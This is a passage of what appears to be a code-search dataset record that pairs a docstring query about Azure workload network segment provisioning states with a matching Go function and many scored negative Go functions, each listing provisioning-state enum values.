header.Blockdata.Hash()\n\n\tbd.mu.Lock()\n\tbd.headerCache[header.Blockdata.Hash()] = header\n\tbd.headerIndex[header.Blockdata.Height] = hash\n\tbd.headerIdx.PushBack(*header)\n\tbd.mu.Unlock()\n\n\tlog.Debug(\"[addHeader]: finish, header height:\", header.Blockdata.Height)\n}", "title": "" } ]
ba2d32bf6e727d57bb7e08568cf08a5a
PossibleWorkloadNetworkSegmentProvisioningStateValues returns an array of possible values for the WorkloadNetworkSegmentProvisioningState const type.
[ { "docid": "d5eda8ddb93ae917b70ea3e6be6dc9ff", "score": "0.85798705", "text": "func PossibleWorkloadNetworkSegmentProvisioningStateValues() []WorkloadNetworkSegmentProvisioningState {\n\treturn []WorkloadNetworkSegmentProvisioningState{WorkloadNetworkSegmentProvisioningStateBuilding, WorkloadNetworkSegmentProvisioningStateDeleting, WorkloadNetworkSegmentProvisioningStateFailed, WorkloadNetworkSegmentProvisioningStateSucceeded, WorkloadNetworkSegmentProvisioningStateUpdating}\n}", "title": "" } ]
[ { "docid": "d0b425fc2abbf21c34d1e178f26cc88a", "score": "0.7776424", "text": "func PossibleWorkloadNetworkDNSServiceProvisioningStateValues() []WorkloadNetworkDNSServiceProvisioningState {\n\treturn []WorkloadNetworkDNSServiceProvisioningState{WorkloadNetworkDNSServiceProvisioningStateBuilding, WorkloadNetworkDNSServiceProvisioningStateDeleting, WorkloadNetworkDNSServiceProvisioningStateFailed, WorkloadNetworkDNSServiceProvisioningStateSucceeded, WorkloadNetworkDNSServiceProvisioningStateUpdating}\n}", "title": "" }, { "docid": "a8cb09c321c8ccb4f7f7620e163aa29d", "score": "0.7655213", "text": "func PossibleWorkloadNetworkDNSZoneProvisioningStateValues() []WorkloadNetworkDNSZoneProvisioningState {\n\treturn []WorkloadNetworkDNSZoneProvisioningState{WorkloadNetworkDNSZoneProvisioningStateBuilding, WorkloadNetworkDNSZoneProvisioningStateDeleting, WorkloadNetworkDNSZoneProvisioningStateFailed, WorkloadNetworkDNSZoneProvisioningStateSucceeded, WorkloadNetworkDNSZoneProvisioningStateUpdating}\n}", "title": "" }, { "docid": "6dd9dcd782eccdead4c1eb1a915d7dbd", "score": "0.7484866", "text": "func PossibleWorkloadNetworkDhcpProvisioningStateValues() []WorkloadNetworkDhcpProvisioningState {\n\treturn []WorkloadNetworkDhcpProvisioningState{WorkloadNetworkDhcpProvisioningStateBuilding, WorkloadNetworkDhcpProvisioningStateDeleting, WorkloadNetworkDhcpProvisioningStateFailed, WorkloadNetworkDhcpProvisioningStateSucceeded, WorkloadNetworkDhcpProvisioningStateUpdating}\n}", "title": "" }, { "docid": "cebeb3b4a17a7006b2f2465dc98e973c", "score": "0.74776465", "text": "func PossibleWorkloadNetworkVMGroupProvisioningStateValues() []WorkloadNetworkVMGroupProvisioningState {\n\treturn []WorkloadNetworkVMGroupProvisioningState{WorkloadNetworkVMGroupProvisioningStateBuilding, WorkloadNetworkVMGroupProvisioningStateDeleting, WorkloadNetworkVMGroupProvisioningStateFailed, WorkloadNetworkVMGroupProvisioningStateSucceeded, WorkloadNetworkVMGroupProvisioningStateUpdating}\n}", "title": "" }, { "docid": "539a9dcbf658bda7464b5022c0bc13a1", "score": "0.7222458", "text": "func PossibleWorkloadNetworkPublicIPProvisioningStateValues() []WorkloadNetworkPublicIPProvisioningState {\n\treturn []WorkloadNetworkPublicIPProvisioningState{WorkloadNetworkPublicIPProvisioningStateBuilding, WorkloadNetworkPublicIPProvisioningStateDeleting, WorkloadNetworkPublicIPProvisioningStateFailed, WorkloadNetworkPublicIPProvisioningStateSucceeded, WorkloadNetworkPublicIPProvisioningStateUpdating}\n}", "title": "" }, { "docid": "85e729759304c328d5dbde5810a010ec", "score": "0.70905006", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n return []ProvisioningState{ProvisioningStateCanceled,ProvisioningStateCreating,ProvisioningStateDeleting,ProvisioningStateFailed,ProvisioningStateSucceeded,ProvisioningStateUpdating}\n }", "title": "" }, { "docid": "511ad2917491068155077a2228d4b280", "score": "0.6966263", "text": "func PossibleWorkloadNetworkPortMirroringProvisioningStateValues() []WorkloadNetworkPortMirroringProvisioningState {\n\treturn []WorkloadNetworkPortMirroringProvisioningState{WorkloadNetworkPortMirroringProvisioningStateBuilding, WorkloadNetworkPortMirroringProvisioningStateDeleting, WorkloadNetworkPortMirroringProvisioningStateFailed, WorkloadNetworkPortMirroringProvisioningStateSucceeded, WorkloadNetworkPortMirroringProvisioningStateUpdating}\n}", "title": "" }, { "docid": "96f9886b0f1245a429407824d1aec335", "score": "0.6910615", "text": "func PossibleWorkflowProvisioningStateValues() []WorkflowProvisioningState {\n\treturn []WorkflowProvisioningState{\n\t\tWorkflowProvisioningStateAccepted,\n\t\tWorkflowProvisioningStateCanceled,\n\t\tWorkflowProvisioningStateCompleted,\n\t\tWorkflowProvisioningStateCreated,\n\t\tWorkflowProvisioningStateCreating,\n\t\tWorkflowProvisioningStateDeleted,\n\t\tWorkflowProvisioningStateDeleting,\n\t\tWorkflowProvisioningStateFailed,\n\t\tWorkflowProvisioningStateInProgress,\n\t\tWorkflowProvisioningStateMoving,\n\t\tWorkflowProvisioningStateNotSpecified,\n\t\tWorkflowProvisioningStatePending,\n\t\tWorkflowProvisioningStateReady,\n\t\tWorkflowProvisioningStateRegistered,\n\t\tWorkflowProvisioningStateRegistering,\n\t\tWorkflowProvisioningStateRenewing,\n\t\tWorkflowProvisioningStateRunning,\n\t\tWorkflowProvisioningStateSucceeded,\n\t\tWorkflowProvisioningStateUnregistered,\n\t\tWorkflowProvisioningStateUnregistering,\n\t\tWorkflowProvisioningStateUpdating,\n\t\tWorkflowProvisioningStateWaiting,\n\t}\n}", "title": "" }, { "docid": "e2d70156f786940b1223f3b037ead931", "score": "0.68512756", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{\n\t\tProvisioningStateCanceled,\n\t\tProvisioningStateCreating,\n\t\tProvisioningStateDeleting,\n\t\tProvisioningStateFailed,\n\t\tProvisioningStateMoving,\n\t\tProvisioningStateRunning,\n\t\tProvisioningStateSucceeded,\n\t\tProvisioningStateUnknown,\n\t\tProvisioningStateUpdating,\n\t}\n}", "title": "" }, { "docid": "ca93d499931947b63c1dd2a09a97ab43", "score": "0.6822656", "text": "func PossiblePoolProvisioningStateValues() []PoolProvisioningState {\n\treturn []PoolProvisioningState{PoolProvisioningStateDeleting, PoolProvisioningStateSucceeded}\n}", "title": "" }, { "docid": "ca93d499931947b63c1dd2a09a97ab43", "score": "0.6822656", "text": "func PossiblePoolProvisioningStateValues() []PoolProvisioningState {\n\treturn []PoolProvisioningState{PoolProvisioningStateDeleting, PoolProvisioningStateSucceeded}\n}", "title": "" }, { "docid": "e92d994e09a506aeff7a450cfb1618c2", "score": "0.68108034", "text": "func PossibleProfileProvisioningStateValues() []ProfileProvisioningState {\n\treturn []ProfileProvisioningState{\n\t\tProfileProvisioningStateCreating,\n\t\tProfileProvisioningStateDeleting,\n\t\tProfileProvisioningStateFailed,\n\t\tProfileProvisioningStateSucceeded,\n\t\tProfileProvisioningStateUpdating,\n\t}\n}", "title": "" }, { "docid": "350901612e906ad8c97f77ff1b45ab8d", "score": "0.6808958", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{\n\t\tProvisioningStateAccepted,\n\t\tProvisioningStateCanceled,\n\t\tProvisioningStateCreating,\n\t\tProvisioningStateDeleted,\n\t\tProvisioningStateDeleting,\n\t\tProvisioningStateFailed,\n\t\tProvisioningStateNotSpecified,\n\t\tProvisioningStateSucceeded,\n\t\tProvisioningStateUpdating,\n\t}\n}", "title": "" }, { "docid": "350901612e906ad8c97f77ff1b45ab8d", "score": "0.6808958", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{\n\t\tProvisioningStateAccepted,\n\t\tProvisioningStateCanceled,\n\t\tProvisioningStateCreating,\n\t\tProvisioningStateDeleted,\n\t\tProvisioningStateDeleting,\n\t\tProvisioningStateFailed,\n\t\tProvisioningStateNotSpecified,\n\t\tProvisioningStateSucceeded,\n\t\tProvisioningStateUpdating,\n\t}\n}", "title": "" }, { "docid": "e1e8b2199f7fc1c2c51b6403e82cb51c", "score": "0.67957497", "text": "func PossibleDeploymentResourceProvisioningStateValues() []DeploymentResourceProvisioningState {\n\treturn []DeploymentResourceProvisioningState{DeploymentResourceProvisioningStateCreating, DeploymentResourceProvisioningStateFailed, DeploymentResourceProvisioningStateSucceeded, DeploymentResourceProvisioningStateUpdating}\n}", "title": "" }, { "docid": "2d474d6189a9748d631f118f3cc8a987", "score": "0.67908686", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{Cancelled, Failed, Succeeded}\n}", "title": "" }, { "docid": "ac0cf957bd823581e3e3ef7b88d34cc4", "score": "0.6782425", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{\n\t\tProvisioningStateCanceled,\n\t\tProvisioningStateCreating,\n\t\tProvisioningStateDeleting,\n\t\tProvisioningStateFailed,\n\t\tProvisioningStateSucceeded,\n\t\tProvisioningStateUpdating,\n\t}\n}", "title": "" }, { "docid": "8e6ee304ee12033f1cd7889bf723015a", "score": "0.6773312", "text": "func PossibleWorkflowTriggerProvisioningStateValues() []WorkflowTriggerProvisioningState {\n\treturn []WorkflowTriggerProvisioningState{\n\t\tWorkflowTriggerProvisioningStateAccepted,\n\t\tWorkflowTriggerProvisioningStateCanceled,\n\t\tWorkflowTriggerProvisioningStateCompleted,\n\t\tWorkflowTriggerProvisioningStateCreated,\n\t\tWorkflowTriggerProvisioningStateCreating,\n\t\tWorkflowTriggerProvisioningStateDeleted,\n\t\tWorkflowTriggerProvisioningStateDeleting,\n\t\tWorkflowTriggerProvisioningStateFailed,\n\t\tWorkflowTriggerProvisioningStateMoving,\n\t\tWorkflowTriggerProvisioningStateNotSpecified,\n\t\tWorkflowTriggerProvisioningStateReady,\n\t\tWorkflowTriggerProvisioningStateRegistered,\n\t\tWorkflowTriggerProvisioningStateRegistering,\n\t\tWorkflowTriggerProvisioningStateRunning,\n\t\tWorkflowTriggerProvisioningStateSucceeded,\n\t\tWorkflowTriggerProvisioningStateUnregistered,\n\t\tWorkflowTriggerProvisioningStateUnregistering,\n\t\tWorkflowTriggerProvisioningStateUpdating,\n\t}\n}", "title": "" }, { "docid": "2b0a6d0bbb4cb1110d51705bd8a361af", "score": "0.67723954", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{\n\t\tProvisioningStateSucceeded,\n\t\tProvisioningStateFailed,\n\t\tProvisioningStateCanceled,\n\t\tProvisioningStateInProgress,\n\t\tProvisioningStateDeleting,\n\t}\n}", "title": "" }, { "docid": "0342b0a90bbd39fab983395aafc576f7", "score": "0.677221", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{\n\t\tProvisioningStateDeleting,\n\t\tProvisioningStateFailed,\n\t\tProvisioningStateSucceeded,\n\t\tProvisioningStateUpdating,\n\t}\n}", "title": "" }, { "docid": "0342b0a90bbd39fab983395aafc576f7", "score": "0.677221", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{\n\t\tProvisioningStateDeleting,\n\t\tProvisioningStateFailed,\n\t\tProvisioningStateSucceeded,\n\t\tProvisioningStateUpdating,\n\t}\n}", "title": "" }, { "docid": "e33a712959a3340b69f5f165beb10b78", "score": "0.6738534", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{\n\t\tProvisioningStateCanceled,\n\t\tProvisioningStateCreating,\n\t\tProvisioningStateDeleting,\n\t\tProvisioningStateFailed,\n\t\tProvisioningStateSucceeded,\n\t}\n}", "title": "" }, { "docid": "35c9d4a9006d15bbfbaf8d3db4715188", "score": "0.6738373", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{ProvisioningStateFailed, ProvisioningStateInProgress, ProvisioningStateSucceeded}\n}", "title": "" }, { "docid": "e9540eb6de51ef9c709e81ccaccbbfcf", "score": "0.67320544", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{Canceled, Creating, Deleted, Deleting, Failed, Succeeded, Updating}\n}", "title": "" }, { "docid": "57dc96fcf270b27d439ae08b9f9dab4c", "score": "0.6728228", "text": "func PossibleDeploymentProvisioningStateValues() []DeploymentProvisioningState {\n\treturn []DeploymentProvisioningState{\n\t\tDeploymentProvisioningStateAccepted,\n\t\tDeploymentProvisioningStateCanceled,\n\t\tDeploymentProvisioningStateCreating,\n\t\tDeploymentProvisioningStateDeleting,\n\t\tDeploymentProvisioningStateDisabled,\n\t\tDeploymentProvisioningStateFailed,\n\t\tDeploymentProvisioningStateMoving,\n\t\tDeploymentProvisioningStateSucceeded,\n\t}\n}", "title": "" }, { "docid": "370bfbf323b7d94738c3229133b6a489", "score": "0.67191505", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{Cancelled, Cancelling, Downgrading, Failed, Purchasing, Succeeded, Upgrading}\n}", "title": "" }, { "docid": "6fcce1f6e8256224f258cd4ca2c76509", "score": "0.6709105", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{Failed, Provisioning, Succeeded, Unknown}\n}", "title": "" }, { "docid": "06217afce3e5e69c988fb0180b5c29ed", "score": "0.6704512", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{Canceled, Creating, Deleting, Failed, Succeeded, Updating}\n}", "title": "" }, { "docid": "f1e3d5ba38ee2247432de3ce7d8d5467", "score": "0.6699109", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{\n\t\tProvisioningStateAccepted,\n\t\tProvisioningStateCreating,\n\t\tProvisioningStateDeleting,\n\t\tProvisioningStateFailed,\n\t\tProvisioningStateMoving,\n\t\tProvisioningStateResolvingDNS,\n\t\tProvisioningStateSucceeded,\n\t}\n}", "title": "" }, { "docid": "22fb10e0f8823fff1c574be7e01bb54e", "score": "0.66983044", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{ProvisioningStateAccepted, ProvisioningStateCanceled, ProvisioningStateDeleted, ProvisioningStateDeleting, ProvisioningStateFailed, ProvisioningStateSucceeded, ProvisioningStateUnknown}\n}", "title": "" }, { "docid": "7d2b0397505b53ac0cb7b31eb79bdc07", "score": "0.6697512", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{Canceled, Created, Failed, Succeeded}\n}", "title": "" }, { "docid": "ed42f589d2884d1e23d04655e652ea28", "score": "0.66965646", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{ProvisioningStateCancelled, ProvisioningStateCreating, ProvisioningStateDeleting, ProvisioningStateFailed, ProvisioningStateInvalid, ProvisioningStateSucceeded}\n}", "title": "" }, { "docid": "ed42f589d2884d1e23d04655e652ea28", "score": "0.66965646", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{ProvisioningStateCancelled, ProvisioningStateCreating, ProvisioningStateDeleting, ProvisioningStateFailed, ProvisioningStateInvalid, ProvisioningStateSucceeded}\n}", "title": "" }, { "docid": "e4fe2888e86e288503b907aba1ebffa0", "score": "0.6691665", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{\n\t\tProvisioningStateAccepted,\n\t\tProvisioningStateCanceled,\n\t\tProvisioningStateFailed,\n\t\tProvisioningStateProvisioning,\n\t\tProvisioningStateSucceeded,\n\t}\n}", "title": "" }, { "docid": "6964723c31f4115f82ceb6f36e79ab94", "score": "0.66783476", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{\n\t\tProvisioningStateCreating,\n\t\tProvisioningStateFailed,\n\t\tProvisioningStateSucceeded,\n\t}\n}", "title": "" }, { "docid": "cf7b64400e19dc8a0d25ce6cfd8e0873", "score": "0.66724217", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{ProvisioningStateCanceled, ProvisioningStateCreating, ProvisioningStateDeleting, ProvisioningStateFailed, ProvisioningStateSucceeded, ProvisioningStateUpdating}\n}", "title": "" }, { "docid": "49cd2fac61022b63394843da1b1b5a0a", "score": "0.6655788", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{ProvisioningStateCreating, ProvisioningStateDeleted, ProvisioningStateDeleting, ProvisioningStateFailed, ProvisioningStateMoved, ProvisioningStateMoveFailed, ProvisioningStateMoving, ProvisioningStateSucceeded, ProvisioningStateUpdating}\n}", "title": "" }, { "docid": "5342ad9d383527bdd453d07d83a58f09", "score": "0.6643473", "text": "func PossibleEndpointProvisioningStateValues() []EndpointProvisioningState {\n\treturn []EndpointProvisioningState{\n\t\tEndpointProvisioningStateCreating,\n\t\tEndpointProvisioningStateDeleting,\n\t\tEndpointProvisioningStateFailed,\n\t\tEndpointProvisioningStateSucceeded,\n\t\tEndpointProvisioningStateUpdating,\n\t}\n}", "title": "" }, { "docid": "834ec46f6cd74b24a99fd6bbb177be86", "score": "0.6609429", "text": "func PossibleRevisionProvisioningStateValues() []RevisionProvisioningState {\n\treturn []RevisionProvisioningState{\n\t\tRevisionProvisioningStateDeprovisioned,\n\t\tRevisionProvisioningStateDeprovisioning,\n\t\tRevisionProvisioningStateFailed,\n\t\tRevisionProvisioningStateProvisioned,\n\t\tRevisionProvisioningStateProvisioning,\n\t}\n}", "title": "" }, { "docid": "e05d308466c7fff20999f1731e3055e2", "score": "0.6599242", "text": "func PossiblePlacementPolicyProvisioningStateValues() []PlacementPolicyProvisioningState {\n\treturn []PlacementPolicyProvisioningState{PlacementPolicyProvisioningStateBuilding, PlacementPolicyProvisioningStateDeleting, PlacementPolicyProvisioningStateFailed, PlacementPolicyProvisioningStateSucceeded, PlacementPolicyProvisioningStateUpdating}\n}", "title": "" }, { "docid": "08797bb7fcd229ff3f536af9f8e2e2c6", "score": "0.6581972", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{Creating, ResolvingDNS, Succeeded}\n}", "title": "" }, { "docid": "90e425e6d86451e1ea328f022b0e74e5", "score": "0.65761", "text": "func PossibleCommitmentPlanProvisioningStateValues() []CommitmentPlanProvisioningState {\n\treturn []CommitmentPlanProvisioningState{\n\t\tCommitmentPlanProvisioningStateAccepted,\n\t\tCommitmentPlanProvisioningStateCanceled,\n\t\tCommitmentPlanProvisioningStateCreating,\n\t\tCommitmentPlanProvisioningStateDeleting,\n\t\tCommitmentPlanProvisioningStateFailed,\n\t\tCommitmentPlanProvisioningStateMoving,\n\t\tCommitmentPlanProvisioningStateSucceeded,\n\t}\n}", "title": "" }, { "docid": "a02fa5dff31ebc135ceb86afba8b7743", "score": "0.6572839", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{ProvisioningStateCreating, ProvisioningStateDeleting, ProvisioningStateDisabled, ProvisioningStateFailed, ProvisioningStateLinking, ProvisioningStateProvisioning, ProvisioningStateRecoveringScaleFailure, ProvisioningStateScaling, ProvisioningStateSucceeded, ProvisioningStateUnlinking, ProvisioningStateUnprovisioning, ProvisioningStateUpdating}\n}", "title": "" }, { "docid": "c1ed939b5572475ecfce8406774acfdd", "score": "0.6560408", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{ProvisioningStateCreating, ProvisioningStateResolvingDNS, ProvisioningStateSucceeded}\n}", "title": "" }, { "docid": "6c3f25e0aaf4e99665ff18c4b6e1a562", "score": "0.6552557", "text": "func PossibleDatastoreProvisioningStateValues() []DatastoreProvisioningState {\n\treturn []DatastoreProvisioningState{DatastoreProvisioningStateCancelled, DatastoreProvisioningStateCreating, DatastoreProvisioningStateDeleting, DatastoreProvisioningStateFailed, DatastoreProvisioningStatePending, DatastoreProvisioningStateSucceeded, DatastoreProvisioningStateUpdating}\n}", "title": "" }, { "docid": "ff3c728e9a0c773fe8f7eac9d404c27f", "score": "0.65426373", "text": "func PossibleClusterProvisioningStateValues() []ClusterProvisioningState {\n\treturn []ClusterProvisioningState{ClusterProvisioningStateCancelled, ClusterProvisioningStateDeleting, ClusterProvisioningStateFailed, ClusterProvisioningStateSucceeded, ClusterProvisioningStateUpdating}\n}", "title": "" }, { "docid": "2079ae580d70acbd648f8b5dab7a865e", "score": "0.65136933", "text": "func PossibleAddonProvisioningStateValues() []AddonProvisioningState {\n\treturn []AddonProvisioningState{AddonProvisioningStateBuilding, AddonProvisioningStateCancelled, AddonProvisioningStateDeleting, AddonProvisioningStateFailed, AddonProvisioningStateSucceeded, AddonProvisioningStateUpdating}\n}", "title": "" }, { "docid": "8d88e8df6dc85e81049977d409770a36", "score": "0.6505253", "text": "func PossibleCustomDNSSuffixProvisioningStateValues() []CustomDNSSuffixProvisioningState {\n\treturn []CustomDNSSuffixProvisioningState{\n\t\tCustomDNSSuffixProvisioningStateSucceeded,\n\t\tCustomDNSSuffixProvisioningStateFailed,\n\t\tCustomDNSSuffixProvisioningStateDegraded,\n\t\tCustomDNSSuffixProvisioningStateInProgress,\n\t}\n}", "title": "" }, { "docid": "0f5aafcf6283d2bb766847c0502647ca", "score": "0.64462906", "text": "func PossibleProvisioningStateValues() []ProvisioningState {\n\treturn []ProvisioningState{ProvisioningStateCreated}\n}", "title": "" }, { "docid": "e263624bc63da33ee5cbcf257eb04aee", "score": "0.6411021", "text": "func PossibleOriginGroupProvisioningStateValues() []OriginGroupProvisioningState {\n\treturn []OriginGroupProvisioningState{\n\t\tOriginGroupProvisioningStateCreating,\n\t\tOriginGroupProvisioningStateDeleting,\n\t\tOriginGroupProvisioningStateFailed,\n\t\tOriginGroupProvisioningStateSucceeded,\n\t\tOriginGroupProvisioningStateUpdating,\n\t}\n}", "title": "" }, { "docid": "0a3d8eda58af499a8b0c4c1748631440", "score": "0.6408935", "text": "func PossibleScriptExecutionProvisioningStateValues() []ScriptExecutionProvisioningState {\n\treturn []ScriptExecutionProvisioningState{ScriptExecutionProvisioningStateCancelled, ScriptExecutionProvisioningStateCancelling, ScriptExecutionProvisioningStateDeleting, ScriptExecutionProvisioningStateFailed, ScriptExecutionProvisioningStatePending, ScriptExecutionProvisioningStateRunning, ScriptExecutionProvisioningStateSucceeded}\n}", "title": "" }, { "docid": "75f35b84f554fec79defe5c18b0aaa50", "score": "0.63949716", "text": "func PossibleReplicaProvisioningStateValues() []ReplicaProvisioningState {\n\treturn []ReplicaProvisioningState{\n\t\tReplicaProvisioningStateCanceled,\n\t\tReplicaProvisioningStateCreating,\n\t\tReplicaProvisioningStateDeleting,\n\t\tReplicaProvisioningStateFailed,\n\t\tReplicaProvisioningStateSucceeded,\n\t}\n}", "title": "" }, { "docid": "a4a550a9cf1ae307d84e02f34c89a219", "score": "0.63837695", "text": "func PossibleKnownDataCollectionEndpointProvisioningStateValues() []KnownDataCollectionEndpointProvisioningState {\n\treturn []KnownDataCollectionEndpointProvisioningState{\n\t\tKnownDataCollectionEndpointProvisioningStateCanceled,\n\t\tKnownDataCollectionEndpointProvisioningStateCreating,\n\t\tKnownDataCollectionEndpointProvisioningStateDeleting,\n\t\tKnownDataCollectionEndpointProvisioningStateFailed,\n\t\tKnownDataCollectionEndpointProvisioningStateSucceeded,\n\t\tKnownDataCollectionEndpointProvisioningStateUpdating,\n\t}\n}", "title": "" }, { "docid": "8ff2db452d5b6914b6464b4426b78cdc", "score": "0.6359982", "text": "func PossibleProvisioningStateTypeValues() []ProvisioningStateType {\n\treturn []ProvisioningStateType{\n\t\tProvisioningStateTypeCancelled,\n\t\tProvisioningStateTypeCreating,\n\t\tProvisioningStateTypeDeleting,\n\t\tProvisioningStateTypeFailed,\n\t\tProvisioningStateTypeSucceeded,\n\t\tProvisioningStateTypeUpdating,\n\t}\n}", "title": "" }, { "docid": "35ca2480d067e615305176daab927feb", "score": "0.63429743", "text": "func PossibleVendorProvisioningStateValues() []VendorProvisioningState {\n\treturn []VendorProvisioningState{VendorProvisioningStateDeprovisioned, VendorProvisioningStateNotProvisioned, VendorProvisioningStateProvisioned, VendorProvisioningStateProvisioning, VendorProvisioningStateUnknown, VendorProvisioningStateUserDataValidationFailed}\n}", "title": "" }, { "docid": "6b42eaadc0c8228da841b6718ba35924", "score": "0.63295275", "text": "func PossibleOriginProvisioningStateValues() []OriginProvisioningState {\n\treturn []OriginProvisioningState{\n\t\tOriginProvisioningStateCreating,\n\t\tOriginProvisioningStateDeleting,\n\t\tOriginProvisioningStateFailed,\n\t\tOriginProvisioningStateSucceeded,\n\t\tOriginProvisioningStateUpdating,\n\t}\n}", "title": "" }, { "docid": "27cf948335d269ade64a85ff01f18289", "score": "0.62653977", "text": "func PossibleManagedClusterPodIdentityProvisioningStateValues() []ManagedClusterPodIdentityProvisioningState {\n\treturn []ManagedClusterPodIdentityProvisioningState{\n\t\tManagedClusterPodIdentityProvisioningStateAssigned,\n\t\tManagedClusterPodIdentityProvisioningStateDeleting,\n\t\tManagedClusterPodIdentityProvisioningStateFailed,\n\t\tManagedClusterPodIdentityProvisioningStateUpdating,\n\t}\n}", "title": "" }, { "docid": "ffc8a6867c81eaad7d0c5726e7903a64", "score": "0.6190302", "text": "func PossibleStateValues() []State {\n\treturn []State{StateDeprovisioning, StateFailed, StateNetworkSourceDeleted, StateProvisioning, StateSucceeded}\n}", "title": "" }, { "docid": "118c3441e452f3a3c0cd4212d1d39b98", "score": "0.61874926", "text": "func PossibleKnownDataCollectionRuleProvisioningStateValues() []KnownDataCollectionRuleProvisioningState {\n\treturn []KnownDataCollectionRuleProvisioningState{\n\t\tKnownDataCollectionRuleProvisioningStateCanceled,\n\t\tKnownDataCollectionRuleProvisioningStateCreating,\n\t\tKnownDataCollectionRuleProvisioningStateDeleting,\n\t\tKnownDataCollectionRuleProvisioningStateFailed,\n\t\tKnownDataCollectionRuleProvisioningStateSucceeded,\n\t\tKnownDataCollectionRuleProvisioningStateUpdating,\n\t}\n}", "title": "" }, { "docid": "cd104fd6db59c35c6bc33cdba4389886", "score": "0.6172322", "text": "func PossibleAfdProvisioningStateValues() []AfdProvisioningState {\n\treturn []AfdProvisioningState{\n\t\tAfdProvisioningStateCreating,\n\t\tAfdProvisioningStateDeleting,\n\t\tAfdProvisioningStateFailed,\n\t\tAfdProvisioningStateSucceeded,\n\t\tAfdProvisioningStateUpdating,\n\t}\n}", "title": "" }, { "docid": "62d85ad774d3282733a2f7caaa091bde", "score": "0.614299", "text": "func PossibleKnownDataCollectionRuleAssociationProvisioningStateValues() []KnownDataCollectionRuleAssociationProvisioningState {\n\treturn []KnownDataCollectionRuleAssociationProvisioningState{\n\t\tKnownDataCollectionRuleAssociationProvisioningStateCanceled,\n\t\tKnownDataCollectionRuleAssociationProvisioningStateCreating,\n\t\tKnownDataCollectionRuleAssociationProvisioningStateDeleting,\n\t\tKnownDataCollectionRuleAssociationProvisioningStateFailed,\n\t\tKnownDataCollectionRuleAssociationProvisioningStateSucceeded,\n\t\tKnownDataCollectionRuleAssociationProvisioningStateUpdating,\n\t}\n}", "title": "" }, { "docid": "fed8c6ceaadb1585dd39f886a4a8fbfd", "score": "0.6139272", "text": "func PossibleMSDeployProvisioningStateValues() []MSDeployProvisioningState {\n\treturn []MSDeployProvisioningState{\n\t\tMSDeployProvisioningStateAccepted,\n\t\tMSDeployProvisioningStateRunning,\n\t\tMSDeployProvisioningStateSucceeded,\n\t\tMSDeployProvisioningStateFailed,\n\t\tMSDeployProvisioningStateCanceled,\n\t}\n}", "title": "" }, { "docid": "715239e5e8b6de3be798f87937bbf8b8", "score": "0.6138286", "text": "func PossibleAppResourceProvisioningStateValues() []AppResourceProvisioningState {\n\treturn []AppResourceProvisioningState{Creating, Failed, Succeeded, Updating}\n}", "title": "" }, { "docid": "490b2289751cc3878c49dc784e312d19", "score": "0.6121378", "text": "func PossibleCertificateProvisioningStateValues() []CertificateProvisioningState {\n\treturn []CertificateProvisioningState{Deleting, Failed, Succeeded}\n}", "title": "" }, { "docid": "490b2289751cc3878c49dc784e312d19", "score": "0.6121378", "text": "func PossibleCertificateProvisioningStateValues() []CertificateProvisioningState {\n\treturn []CertificateProvisioningState{Deleting, Failed, Succeeded}\n}", "title": "" }, { "docid": "b26a353dda7b3855516dc740fa1db6b5", "score": "0.6092522", "text": "func PossiblePrivateEndpointConnectionProvisioningStateValues() []PrivateEndpointConnectionProvisioningState {\n\treturn []PrivateEndpointConnectionProvisioningState{\n\t\tPrivateEndpointConnectionProvisioningStateCreating,\n\t\tPrivateEndpointConnectionProvisioningStateDeleting,\n\t\tPrivateEndpointConnectionProvisioningStateFailed,\n\t\tPrivateEndpointConnectionProvisioningStateSucceeded,\n\t}\n}", "title": "" }, { "docid": "b26a353dda7b3855516dc740fa1db6b5", "score": "0.6092522", "text": "func PossiblePrivateEndpointConnectionProvisioningStateValues() []PrivateEndpointConnectionProvisioningState {\n\treturn []PrivateEndpointConnectionProvisioningState{\n\t\tPrivateEndpointConnectionProvisioningStateCreating,\n\t\tPrivateEndpointConnectionProvisioningStateDeleting,\n\t\tPrivateEndpointConnectionProvisioningStateFailed,\n\t\tPrivateEndpointConnectionProvisioningStateSucceeded,\n\t}\n}", "title": "" }, { "docid": "b26a353dda7b3855516dc740fa1db6b5", "score": "0.6092522", "text": "func PossiblePrivateEndpointConnectionProvisioningStateValues() []PrivateEndpointConnectionProvisioningState {\n\treturn 